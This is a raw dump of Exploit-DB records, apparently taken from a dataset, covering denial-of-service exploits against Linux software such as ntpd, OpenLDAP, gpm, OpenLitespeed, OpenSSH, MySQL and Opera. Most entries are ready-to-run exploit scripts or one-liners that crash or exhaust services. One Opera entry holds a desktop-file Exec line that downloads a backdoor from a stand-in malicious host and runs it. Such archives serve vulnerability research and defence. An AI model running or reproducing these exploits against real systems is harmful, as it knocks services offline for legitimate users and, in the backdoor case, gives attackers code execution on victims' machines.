deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40840
Description: NTP 4.2.8p3 - Denial of Service
Type: dos
Platform: linux
Date: 2016-11-28
Author: Magnus Klaaborg Stubman

Exploit:
#!/usr/bin/env python

# Exploit Title: ntpd 4.2.8p3 remote DoS
# Date: 2015-10-21
# Bug Discovery: John D "Doug" Birdwell
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: http://support.ntp.org/bin/view/Main/NtpBug2922
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p3.tar.gz
# Version: All ntp-4 releases up to, but not including 4.2.8p4, and 4.3.0 up to, but not including 4.3.77
# CVE: CVE-2015-7855

import sys
import socket

if len(sys.argv) != 3:
    print "usage: " + sys.argv[0] + " <host> <port>"
    sys.exit(-1)

payload = "\x16\x0a\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa0\x6e\x6f\x6e\x63\x65\x3d\x64\x61\x33\x64\x35\x64\x30\x66\x66\x38\x30\x38\x31\x65\x63\x38\x33\x35\x32\x61\x32\x32\x38\x36\x2c\x20\x66\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39"

print "[-] Sending payload to " + sys.argv[1] + ":" + sys.argv[2] + " ..."
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], int(sys.argv[2])))
print "[+] Done!"
Exploit-DB #40806
Description: NTP 4.2.8p8 - Denial of Service
Type: dos
Platform: linux
Date: 2016-11-21
Author: Magnus Klaaborg Stubman

Exploit:
#!/usr/bin/env python

# Exploit Title: ntpd remote pre-auth Denial of Service
# Date: 2016-11-21
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: http://dumpco.re/cve-2016-7434/
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p8.tar.gz
# Version: ntp-4.2.7p22, up to but not including ntp-4.2.8p9, and ntp-4.3.0 up to, but not including ntp-4.3.94
# CVE: CVE-2016-7434

import sys
import socket

if len(sys.argv) != 3:
    print "usage: " + sys.argv[0] + " <host> <port>"
    sys.exit(-1)


payload = "\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"

print "[-] Sending payload to " + sys.argv[1] + ":" + sys.argv[2] + " ..."
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], int(sys.argv[2])))
print "[+] Done!"
Exploit-DB #46177
Description: NTPsec 1.1.2 - 'ntp_control' (Authenticated) NULL Pointer Dereference (PoC)
Type: dos
Platform: linux
Date: 2019-01-16
Author: Magnus Klaaborg Stubman

Exploit:
#!/usr/bin/env python
# Exploit Title: ntpsec 1.1.2 authenticated NULL pointer exception Proof of concept
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: https://dumpco.re/bugs/ntpsec-authed-npe 
# Vendor Homepage: https://ntpsec.org/ 
# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz 
# Affected versions: ntpsec 1.1.0, 1.1.1, 1.1.2
# CVE: CVE-2019-6445
# Note: this PoC uses Keyid 1 with password 'gurka'

import sys
import socket

buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
       "\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
       "\x56\xc8\x07\xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))
Exploit-DB #29470
Description: Oftpd 0.3.7 - Unsupported Address Family Remote Denial of Service
Type: dos
Platform: linux
Date: 2007-01-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/22073/info

Oftpd Server is prone to a remote denial-of-service vulnerability because it mishandles unexpected user-supplied input.

Exploiting this issue allows remote attackers to crash the application, denying further service to legitimate users.

Oftpd Server 0.3.7 is reported vulnerable; other versions may also be affected.

nc www.example.com 21 <<< "LPRT 1,16,63,254,47,0,0,32,0,0,0,0,0,0,32,254,143,205,2,141,176"

220 Service ready for new user.
521 Only IPv4 supported, address family (4)
Exploit-DB #25943
Description: OFTPD 0.3.x - User Command Buffer Overflow
Type: dos
Platform: linux
Date: 2005-07-06
Author: new.security@gmail.com

Exploit:
source: https://www.securityfocus.com/bid/14161/info

oftpd is prone to a remotely exploitable buffer overflow. This may be triggered by a client through an overly long argument for the USER command.

Successful exploitation may let a remote attacker execute arbitrary code in the context of the server process. 

530 Only anonymous FTP supported.
ftp: Login failed.
ftp> user
(username)
usage: user username [password [account]]
ftp> user \0\0\0\0\0\ (much larger string)
500 Syntax error, command unrecognized.
Login failed.
ftp> user
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x30303054
0x969b56d8 in history ()
Exploit-DB #32000
Description: OpenLDAP 2.3.41 - BER Decoding Remote Denial of Service
Type: dos
Platform: linux
Date: 2008-06-30
Author: Cameron Hotchkies

Exploit:
source: https://www.securityfocus.com/bid/30013/info

OpenLDAP is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to deny service to legitimate users by crashing affected servers.

OpenLDAP 2.3.41 is vulnerable to this issue; earlier versions back to approximately 2.1.18 as well as newer versions may also be affected.

slapd -h ldap:// -d511 &
perl -e 'print "\xff\xff\xff\x00\x84\x41\x42\x43\x44"' | nc localhost 389
Exploit-DB #34348
Description: OpenLDAP 2.4.22 - 'modrdn' Multiple Vulnerabilities
Type: dos
Platform: linux
Date: 2010-07-19
Author: Ilkka Mattila

Exploit:
source: https://www.securityfocus.com/bid/41770/info

OpenLDAP is prone to multiple vulnerabilities.

Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the application or cause denial-of-service conditions.

OpenLDAP 2.4.22 is vulnerable; other versions may also be affected.

ldapmodrdn -x cn=something,dc=anything cn=#80
ldapmodrdn -x dc=something,dc=anything dc=
Exploit-DB #35445
Description: OpenLDAP 2.4.x - 'modrdn' NULL OldDN Remote Denial of Service
Type: dos
Platform: linux
Date: 2011-01-03
Author: Serge Dubrouski

Exploit:
source: https://www.securityfocus.com/bid/46831/info

OpenLDAP is prone to a remote denial-of-service vulnerability that affects the 'modify relative distinguished name' (modrdn) command.

Attackers can exploit this issue to deny service to legitimate users by crashing affected 'slapd' servers. 

ldapmodrdn -x -H ldap://ldapserver -r '' o=test
Exploit-DB #20026
Description: OpenLinux 2.3/2.4 / RedHat 6.0/6.1 / SCO eServer 2.3 - Denial of Service
Type: dos
Platform: linux
Date: 1999-11-23
Author: FuckGpm

Exploit:
// source: https://www.securityfocus.com/bid/1377/info

gpm is a program that allows Linux users to use the mouse in virtual consoles. It communicates with a device, /dev/gpmctl, via unix domain STREAM sockets and is vulnerable to a locally exploitable denial of service attack. If a malicious user makes too many connections to the device, it will hang and gpm will not function. RedHat 6.1 is confirmed to be vulnerable. It is not known what other linux distributions may also be vulnerable. 

// FuckGpm    CADENCE of Lam3rZ    1999.11.23

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define GDZIE    "/dev/gpmctl"
#define POLACZENIA 200
#define SHITY   10000


int main (void)
{
 int a,b;
 struct sockaddr_un sun;

 sun.sun_family = AF_UNIX;
 strncpy (sun.sun_path, GDZIE, 30);
 printf ("OK...\n");

 if (fork ())
  exit (0);

 for (b = 0; b < SHITY; b++)
  if (fork () == 0)
  break;

 for (b = 0; b < POLACZENIA; b++)
  {
   if ((a = socket (AF_UNIX, SOCK_STREAM, 0)) < 0)
    {
     perror ("socket");
     while (1);
   }

  if (connect (a, (struct sockaddr *) &sun, sizeof (struct sockaddr)) < 0)
   {
    perror ("connect");
    close (a);
    b--;
   }
  }

 while (1);
}
Exploit-DB #37051
Description: OpenLitespeed 1.3.9 - Use-After-Free (Denial of Service)
Type: dos
Platform: linux
Date: 2015-05-18
Author: Denis Andzakovic

Exploit:
/*
*	Openlitespeed 1.3.9 Use After Free denial of service exploit.
*
*	This exploit triggers a denial of service condition within the Openlitespeed web 
*	server. This is achieved by sending a tampered request contain a large number (91)
*	of 'a: a' header rows. By looping this request, a memmove call within the HttpReq
*	class is triggered with a freed pointer, resulting in a reference to an invalid
*	memory location and thus a segmentation fault.
*
*	UAF Request:
*	GET / HTTP/1.0
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	a: a
*	
*	The above request should be placed into a file name 'uafcrash' prior to running this
*	exploit code.
*
*	Date: 24/03/2015
*	Author: Denis Andzakovic - Security-Assessment.com
*
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>

extern int errno;

int main(int argc, char ** argv){
	FILE * fp;
	size_t len = 0;
	char * line;
	if((fp = fopen("uafcrash", "r")) == NULL){
		fprintf(stderr, "[!] Error: Could not open file uafcrash: %s", strerror(errno));
		return 1;
	}

	char * host = "127.0.0.1";
	int port = 8088;
	int count = 0; 
	int sock;
	struct sockaddr_in serv_addr;
	while(1){
		if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
			fprintf(stderr, "[!] Error: Could not create socket \n");
			return 1;
		} 

		serv_addr.sin_family = AF_INET;
		serv_addr.sin_port = htons(port);
		inet_pton(AF_INET, host, &serv_addr.sin_addr);

		if(connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0){
			fprintf(stderr, "[!] Error: Could not connect! Check for server crash! Total cases sent:%d\n", count);
			close(sock);
			return 1;
		}
		while ((getline(&line, &len, fp)) != -1){

			write(sock, line, strlen(line));
		}

		close(sock);
		rewind(fp);
		count++;
	}

	return 42;
}
Exploit-DB #33524
Description: OpenOffice 3.1 - '.csv' Remote Denial of Service
Type: dos
Platform: linux
Date: 2010-01-14
Author: Hellcode Research

Exploit:
source: https://www.securityfocus.com/bid/37807/info


OpenOffice is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue by enticing an unsuspecting victim to open a specially crafted '.csv' file.

Successful exploits will cause the application to crash, denying service to legitimate users. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

OpenOffice 3.1.0 and 3.1.1 on Microsoft Windows are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33524.rar
Exploit-DB #33549
Description: OpenOffice 3.1 - '.slk' Null Pointer Dereference Remote Denial of Service
Type: dos
Platform: linux
Date: 2010-01-19
Author: Hellcode Research

Exploit:
source: https://www.securityfocus.com/bid/37857/info

OpenOffice is prone to a remote denial-of-service vulnerability caused by a NULL-pointer dereference.

Attackers can exploit this issue by enticing an unsuspecting victim to open a specially crafted '.slk' file.

Successful exploits will cause the application to crash, denying service to legitimate users. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

OpenOffice 3.1.0 and 3.1.1 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33549.slk
Exploit-DB #40888
Description: OpenSSH 7.2 - Denial of Service
Type: dos
Platform: linux
Date: 2016-12-07
Author: SecPod Research

Exploit:
################################################################################
# Title		: OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)
# Author	: Kashinath T (tkashinath@secpod.com) (www.secpod.com)
# Vendor	: http://www.openssh.com/
# Software	: http://www.openssh.com/
# Version	: OpenSSH before 7.3
# Tested on	: Ubuntu 16.04 LTS, Centos 7
# CVE 		: CVE-2016-6515
# Date		: 20-10-2016
#
# NOTE:
# If the remote machine is installed and running OpenSSH version prior to 7.3,
# it does not limit the password length for authentication. Hence, to exploit
# this vulnerability' we will send a crafted data which is of 90000 characters
# in length to the 'password' field while attempting to log in to a remote
# machine via ssh with username as 'root'.
#
# For more info refer,
# http://www.secpod.com/blog/openssh-crypt-cpu-consumption
################################################################################

import sys
from random import choice
from string import lowercase

try:
    import paramiko
except ImportError:
    print "[-] python module 'paramiko' is missing, Install paramiko with" \
          " following command 'sudo pip install paramiko'"
    sys.exit(0)


class ssh_exploit:

    def __init__(self):
        """
        Initialise the objects
        """

    def ssh_login(self, remote_ip):

        try:
            # Crafted password of length 90000
            passwd_len = 90000
            crafted_passwd = "".join(choice(lowercase)
                                     for i in range(passwd_len))

            # Connect to a remote machine via ssh
            ssh = paramiko.SSHClient()
            ssh.load_system_host_keys()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            # calling connect in infinite loop
            print "[+] Entering infinite loop"
            while 1:
                ssh.connect(remote_ip, username='root',
                            [CREDENTIAL_REDACTED]_passwd)

        except Exception, msg:
            print "Error in connecting to remote host : ", remote_ip
            print "Exception in : ssh_login method."
            sys.exit(msg)


def main():

    if len(sys.argv) != 2:
        print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"
        sys.exit()

    # Calling ssh_connect
    ref_obj = ssh_exploit()
    ref_obj.ssh_login(sys.argv[1])


if __name__ == "__main__":
    main()
Exploit-DB #34427
Description: OpenSSL - 'ssl3_get_key_exchange()' Use-After-Free Memory Corruption
Type: dos
Platform: linux
Date: 2010-08-07
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/42306/info

OpenSSL is prone to a remote memory-corruption vulnerability.

Successfully exploiting this issue may allow an attacker to execute arbitrary code in the context of the application using the vulnerable library. Failed exploit attempts will result in a denial-of-service condition.

The issue affects OpenSSL 1.0.0a; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34427.zip
Exploit-DB #24828
Description: Opera Web Browser 7.54 - 'KDE KFMCLIENT' Remote Command Execution
Type: dos
Platform: linux
Date: 2004-12-13
Author: Giovanni Delvecchio

Exploit:
source: https://www.securityfocus.com/bid/11901/info

It is reported that Opera for Linux is susceptible to a remote command execution vulnerability. This issue is due to a default configuration setting in Opera that utilizes the KDE 'kfmclient' utility to open unknown content.

Exploitation of this issue allows attacker-supplied commands to be executed in the context of the user running Opera.

Version 7.54 of Opera for Linux with KDE version 3.2.3 is reported vulnerable to this issue. Other versions may also be affected.

# KDE Config File
[KDE Desktop Entry]
SwallowExec=
SwallowTitle=
BinaryPattern=
MimeType=
Exec=/bin/bash -c wget\thttp://malicious_site/backdoor;chmod\t777\tbackdoor;./backdoor
Icon=
TerminalOptions=
Path=
Type=Application
Terminal=0
Exploit-DB #24755
Description: Opera Web browser 7.54 java implementation - Multiple Vulnerabilities (1)
Type: dos
Platform: linux
Date: 2004-11-19
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/11712/info

Multiple remote vulnerabilities reportedly affect the Opera Web Browser Java implementation. These issues are due to the insecure proprietary design of the Web browser's Java implementation.

These issues may allow an attacker to craft a Java applet that violate Sun's Java secure programming guidelines.

These issues may be leveraged to carry out a variety of unspecified attacks including sensitive information disclosure and denial of service attacks. Any successful exploitation would take place with the privileges of the user running the affected browser application.

Although only version 7.54 is reportedly vulnerable, it is likely that earlier versions are vulnerable to these issues as well.

import sun.awt.font.*;

public class Opera754FontCrashApplet extends java.applet.Applet{

	public void start() {
		int j =
		javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1 Opera 754 FontCrash, wanna crash? ");
		if (j == 0)? {
			NativeFontWrapper.getFullNameByIndex(Integer.MIN_VALUE);
			NativeFontWrapper.getFullNameByIndex(Integer.MAX_VALUE);
		}
	}
}
Exploit-DB #24756
Description: Opera Web browser 7.54 java implementation - Multiple Vulnerabilities (2)
Type: dos
Platform: linux
Date: 2004-11-19
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/11712/info
 
Multiple remote vulnerabilities reportedly affect the Opera Web Browser Java implementation. These issues are due to the insecure proprietary design of the Web browser's Java implementation.
 
These issues may allow an attacker to craft a Java applet that violate Sun's Java secure programming guidelines.
 
These issues may be leveraged to carry out a variety of unspecified attacks including sensitive information disclosure and denial of service attacks. Any successful exploitation would take place with the privileges of the user running the affected browser application.
 
Although only version 7.54 is reportedly vulnerable, it is likely that earlier versions are vulnerable to these issues as well.

import netscape.javascript.*;
import com.opera.*;

public class Opera754EcmaScriptApplet extends java.applet.Applet{

	public void start()? {
		PluginContext pc = (PluginContext)this.getAppletContext();

		int jswin= pc.getJSWindow();
		int esrun= pc.getESRuntime();
		EcmaScriptObject eso4 = EcmaScriptObject.getObject (jswin,1);
		try {
			JSObject js = JSObject.getWindow(this);
			System.out.println(js);
		}
		catch (Exception e) {
		e.printStackTrace();
		}
	}
}
Exploit-DB #27641
Description: Opera Web Browser 8.52 - Stylesheet Attribute Buffer Overflow
Type: dos
Platform: linux
Date: 2006-04-13
Author: SEC Consult

Exploit:
source: https://www.securityfocus.com/bid/17513/info

Opera is prone to a buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied input before using it in a string-copy operation.

This issue allows remote attackers to crash affected web browsers. Due to the nature of this issue, attackers may be able to exploit this issue to execute machine code, but this has not been confirmed.

Opera version 8.52 is vulnerable to this issue; other versions may also be affected.

<STYLE type=text/css>A { FONT-FAMILY: 35000x'A' } </STYLE>
Exploit-DB #20747
Description: Oracle Application Server 4.0.8.2 - ndwfn4.so Buffer Overflow
Type: dos
Platform: linux
Date: 2001-04-11
Author: Fyodor Yarochkin

Exploit:
source: https://www.securityfocus.com/bid/2569/info

The shared library 'ndwfn4.so' that ships with Oracle Application Server is vulnerable to a buffer overflow. The library is used to handle web requests passed to it by the iPlanet web server. If the library is sent a request longer than approximately 2050 characters, it will overflow.

A request string could be constructed to trigger the overflow and allow a malicious remote user to execute unprivileged arbitrary code. No exploit is publically available.

Assuming the OAS prefix is /jsp/ and the vulnerable host is 'victim', the following command issued by the attacker will cause the iWS to coredump:

perl -e 'print "GET /jsp/","A"x2050," HTTP/1.0\n\n"' | nc victim 80
Exploit-DB #34520
Description: Oracle MySQL 5.1.48 - 'HANDLER' Interface Denial of Service
Type: dos
Platform: linux
Date: 2010-08-20
Author: Matthias Leich

Exploit:
source: https://www.securityfocus.com/bid/42633/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

This issue affects versions prior to MySQL 5.1.49.

NOTE: This issue was previously covered in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record to better document it.. 

--disable_warnings
DROP TABLE IF EXISTS t1;
--enable_warnings
CREATE TABLE t1  ( pk INT , PRIMARY KEY (pk));
HANDLER t1 OPEN AS handler_a;
HANDLER handler_a READ FIRST;
HANDLER handler_a READ `PRIMARY` NEXT;

DROP TABLE t1;
Exploit-DB #34522
Description: Oracle MySQL < 5.1.49 - 'DDL' Statements Denial of Service
Type: dos
Platform: linux
Date: 2010-07-09
Author: Elena Stepanova

Exploit:
source: https://www.securityfocus.com/bid/42643/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

Versions prior to MySQL 5.1.49 are vulnerable.

NOTE: This issue was previously disclosed in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record. 

thd->query at 0x14bcdf0 = CREATE TEMPORARY TABLE operations ( op VARCHAR(16) ) ENGINE =InnoDB
Exploit-DB #34521
Description: Oracle MySQL < 5.1.49 - Malformed 'BINLOG' Arguments Denial of Service
Type: dos
Platform: linux
Date: 2010-08-20
Author: Shane Bester

Exploit:
source: https://www.securityfocus.com/bid/42638/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

Versions prior to MySQL 5.1.49 are vulnerable. 

The following example query is available:

mysql> BINLOG '[PII_REDACTED]';